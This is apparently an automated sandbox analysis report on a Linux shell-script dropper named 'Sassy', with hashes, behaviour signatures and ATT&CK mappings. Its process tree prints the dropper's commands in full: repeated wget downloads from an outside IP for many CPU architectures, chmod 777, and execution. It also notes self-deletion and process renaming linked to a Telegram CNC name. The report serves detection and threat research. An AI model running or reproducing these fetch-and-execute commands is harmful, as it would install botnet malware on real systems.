bb61bf50f0eb58bd47787d07e743ac47a59309656ab4b7442df292873b61ed84

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/06/2026, 19:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_bb61bf50f0eb58bd47787d07e743ac47a59309656ab4b7442df292873b61ed84.sh
Size 1KB
Sample260604-ybnfasc19t
SHA256 bb61bf50f0eb58bd47787d07e743ac47a59309656ab4b7442df292873b61ed84
MD5 f86affe3a8745e7ec77eb2d1d1aca9d3
SHA1 1b63fe144034b7f6cff406838d3fe920b0dde786
SHA512 0b6da9496a130ee9962ec7b1f9f99f81284992685413af64b984691c9a3da971b97f4c07daac4c4d1349beaa658196a71219ddb499bdc84a02c81a51b87fb370
TLSH
T1F7417BC943D0A04EF8ECCD017CA9C9756086A49221DD2E08DDB0ADB6E5FF944B3F9755
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
780	chmod
796	chmod
800	chmod
816	chmod
820	chmod
825	chmod
830	chmod
833	chmod
784	chmod
788	chmod
792	chmod
804	chmod
808	chmod
812	chmod

Deletes itself 3 IoCs

pid	Process
824	.Sassy.armv4l
829	.Sassy.armv5l
836	.Sassy.armv7l

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.Sassy.x86_64	781	_bb61bf50f0eb58bd47787d07e743ac47a59309656ab4b7442df292873b61ed84.sh

Enumerates running processes
Discovers information about currently running processes on the system

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	t.me/SassyCNC	824	.Sassy.armv4l
Changes the process name, possibly in an attempt to hide itself	t.me/SassyCNC	829	.Sassy.armv5l
Changes the process name, possibly in an attempt to hide itself	t.me/SassyCNC	836	.Sassy.armv7l

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/106/comm	.Sassy.armv4l
File opened for reading	/proc/214/comm	.Sassy.armv5l
File opened for reading	/proc/650/comm	.Sassy.armv5l
File opened for reading	/proc/16/comm	.Sassy.armv7l
File opened for reading	/proc/25/comm	.Sassy.armv7l
File opened for reading	/proc/42/comm	.Sassy.armv7l
File opened for reading	/proc/96/comm	.Sassy.armv4l
File opened for reading	/proc/289/comm	.Sassy.armv5l
File opened for reading	/proc/7/comm	.Sassy.armv7l
File opened for reading	/proc/104/comm	.Sassy.armv7l
File opened for reading	/proc/16/comm	.Sassy.armv4l
File opened for reading	/proc/107/comm	.Sassy.armv4l
File opened for reading	/proc/779/comm	.Sassy.armv4l
File opened for reading	/proc/3/comm	.Sassy.armv7l
File opened for reading	/proc/834/comm	.Sassy.armv7l
File opened for reading	/proc/647/comm	.Sassy.armv4l
File opened for reading	/proc/96/comm	.Sassy.armv5l
File opened for reading	/proc/138/comm	.Sassy.armv7l
File opened for reading	/proc/310/comm	.Sassy.armv7l
File opened for reading	/proc/829/comm	.Sassy.armv7l
File opened for reading	/proc/75/comm	.Sassy.armv4l
File opened for reading	/proc/25/comm	.Sassy.armv4l
File opened for reading	/proc/291/comm	.Sassy.armv4l
File opened for reading	/proc/107/comm	.Sassy.armv5l
File opened for reading	/proc/608/comm	.Sassy.armv5l
File opened for reading	/proc/11/comm	.Sassy.armv7l
File opened for reading	/proc/19/comm	.Sassy.armv7l
File opened for reading	/proc/668/comm	.Sassy.armv7l
File opened for reading	/proc/5/comm	.Sassy.armv4l
File opened for reading	/proc/7/comm	.Sassy.armv4l
File opened for reading	/proc/156/comm	.Sassy.armv4l
File opened for reading	/proc/214/comm	.Sassy.armv4l
File opened for reading	/proc/2/comm	.Sassy.armv5l
File opened for reading	/proc/646/comm	.Sassy.armv5l
File opened for reading	/proc/214/comm	.Sassy.armv7l
File opened for reading	/proc/650/comm	.Sassy.armv7l
File opened for reading	/proc/2/comm	.Sassy.armv4l
File opened for reading	/proc/15/comm	.Sassy.armv4l
File opened for reading	/proc/3/comm	.Sassy.armv5l
File opened for reading	/proc/167/comm	.Sassy.armv5l
File opened for reading	/proc/291/comm	.Sassy.armv5l
File opened for reading	/proc/1/comm	.Sassy.armv7l
File opened for reading	/proc/75/comm	.Sassy.armv7l
File opened for reading	/proc/595/comm	.Sassy.armv7l
File opened for reading	/proc/649/comm	.Sassy.armv4l
File opened for reading	/proc/6/comm	.Sassy.armv5l
File opened for reading	/proc/8/comm	.Sassy.armv5l
File opened for reading	/proc/12/comm	.Sassy.armv5l
File opened for reading	/proc/595/comm	.Sassy.armv5l
File opened for reading	/proc/327/comm	.Sassy.armv7l
File opened for reading	/proc/6/comm	.Sassy.armv4l
File opened for reading	/proc/167/comm	.Sassy.armv4l
File opened for reading	/proc/650/comm	.Sassy.armv4l
File opened for reading	/proc/4/comm	.Sassy.armv5l
File opened for reading	/proc/24/comm	.Sassy.armv5l
File opened for reading	/proc/8/comm	.Sassy.armv7l
File opened for reading	/proc/277/comm	.Sassy.armv7l
File opened for reading	/proc/10/comm	.Sassy.armv4l
File opened for reading	/proc/329/comm	.Sassy.armv4l
File opened for reading	/proc/27/comm	.Sassy.armv5l
File opened for reading	/proc/598/comm	.Sassy.armv5l
File opened for reading	/proc/14/comm	.Sassy.armv7l
File opened for reading	/proc/824/comm	.Sassy.armv7l
File opened for reading	/proc/12/comm	.Sassy.armv4l

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
791	wget
793	.Sassy.mips
795	wget
797	.Sassy.mipsel

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.Sassy.m68k	wget
File opened for modification	/tmp/.Sassy.powerpc	wget
File opened for modification	/tmp/.Sassy.armv5l	wget
File opened for modification	/tmp/.Sassy.armv6l	wget
File opened for modification	/tmp/.Sassy.armv7l	wget
File opened for modification	/tmp/.Sassy.aarch64	wget
File opened for modification	/tmp/.Sassy.mips	wget
File opened for modification	/tmp/.Sassy.mipsel	wget
File opened for modification	/tmp/.Sassy.sparc	wget
File opened for modification	/tmp/.Sassy.sh4	wget
File opened for modification	/tmp/.Sassy.arc	wget
File opened for modification	/tmp/.Sassy.i486	wget
File opened for modification	/tmp/.Sassy.armv4l	wget
File opened for modification	/tmp/.Sassy.x86_64	wget

/tmp/_bb61bf50f0eb58bd47787d07e743ac47a59309656ab4b7442df292873b61ed84.sh
/tmp/_bb61bf50f0eb58bd47787d07e743ac47a59309656ab4b7442df292873b61ed84.sh
1⤵
- Executes dropped EXE
PID:650
- /usr/bin/wget
  wget http://176.65.139.121/.Sassy.x86_64
  2⤵
  - Writes file to tmp directory
  PID:653
- /bin/chmod
  chmod 777 .Sassy.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/.Sassy.x86_64
  ./.Sassy.x86_64
  2⤵
  PID:781
- /usr/bin/wget
  wget http://176.65.139.121/.Sassy.aarch64
  2⤵
  - Writes file to tmp directory
  PID:783
- /bin/chmod
  chmod 777 .Sassy.aarch64
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/.Sassy.aarch64
  ./.Sassy.aarch64
  2⤵
  PID:785
- /usr/bin/wget
  wget http://176.65.139.121/.Sassy.m68k
  2⤵
  - Writes file to tmp directory
  PID:787
- /bin/chmod
  chmod 777 .Sassy.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/.Sassy.m68k
  ./.Sassy.m68k
  2⤵
  PID:789
- /usr/bin/wget
  wget http://176.65.139.121/.Sassy.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod 777 .Sassy.mips
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/.Sassy.mips
  ./.Sassy.mips
  2⤵
  - System Network Configuration Discovery
  PID:793
- /usr/bin/wget
  wget http://176.65.139.121/.Sassy.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod 777 .Sassy.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/.Sassy.mipsel
  ./.Sassy.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:797
- /usr/bin/wget
  wget http://176.65.139.121/.Sassy.powerpc
  2⤵
  - Writes file to tmp directory
  PID:799
- /bin/chmod
  chmod 777 .Sassy.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/.Sassy.powerpc
  ./.Sassy.powerpc
  2⤵
  PID:801
- /usr/bin/wget
  wget http://176.65.139.121/.Sassy.sparc
  2⤵
  - Writes file to tmp directory
  PID:803
- /bin/chmod
  chmod 777 .Sassy.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/.Sassy.sparc
  ./.Sassy.sparc
  2⤵
  PID:805
- /usr/bin/wget
  wget http://176.65.139.121/.Sassy.sh4
  2⤵
  - Writes file to tmp directory
  PID:807
- /bin/chmod
  chmod 777 .Sassy.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/.Sassy.sh4
  ./.Sassy.sh4
  2⤵
  PID:809
- /usr/bin/wget
  wget http://176.65.139.121/.Sassy.arc
  2⤵
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod 777 .Sassy.arc
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/.Sassy.arc
  ./.Sassy.arc
  2⤵
  PID:813
- /usr/bin/wget
  wget http://176.65.139.121/.Sassy.i486
  2⤵
  - Writes file to tmp directory
  PID:815
- /bin/chmod
  chmod 777 .Sassy.i486
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/.Sassy.i486
  ./.Sassy.i486
  2⤵
  PID:817
- /usr/bin/wget
  wget http://176.65.139.121/.Sassy.armv4l
  2⤵
  - Writes file to tmp directory
  PID:819
- /bin/chmod
  chmod 777 .Sassy.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/.Sassy.armv4l
  ./.Sassy.armv4l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:821
- /usr/bin/wget
  wget http://176.65.139.121/.Sassy.armv5l
  2⤵
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 .Sassy.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/.Sassy.armv5l
  ./.Sassy.armv5l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:826
- /usr/bin/wget
  wget http://176.65.139.121/.Sassy.armv6l
  2⤵
  - Writes file to tmp directory
  PID:828
- /bin/chmod
  chmod 777 .Sassy.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/.Sassy.armv6l
  ./.Sassy.armv6l
  2⤵
  PID:831
- /usr/bin/wget
  wget http://176.65.139.121/.Sassy.armv7l
  2⤵
  - Writes file to tmp directory
  PID:832
- /bin/chmod
  chmod 777 .Sassy.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/.Sassy.armv7l
  ./.Sassy.armv7l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:834

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.Sassy.x86_64

Path /tmp/.Sassy.x86_64
Size 47KB
SHA256 af88aa284cc12d7c032a83c6da7be457b206c034d5839c584687781834a5f5ce
MD5 14ccb87e7ac178ca2d6371470a2307e5
SHA1 55c5e9827eb68bc91c07eac538c5ee4c4418367c
SHA512 76e96de664e33724721e6fbda581df46ea7cfb73b7ec9c8c691bb2bdd40863a157b0cc6af981f884802437c647be121297021164b21a534c9de55107ada64242
SSDEEP 768:MNQw7ToLEP51zmDHZMU6cg5911nkJNtKUwwgDc4hIkQhb8RaHBRTH/L6:MR7sYzmVrgvMNtKxwg44hIk4GWlO
TLSH
T18C2302A3F701E6F5C136FD76B7669009F9466A0975078F3E0AC62BF28D2518C4E61352
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download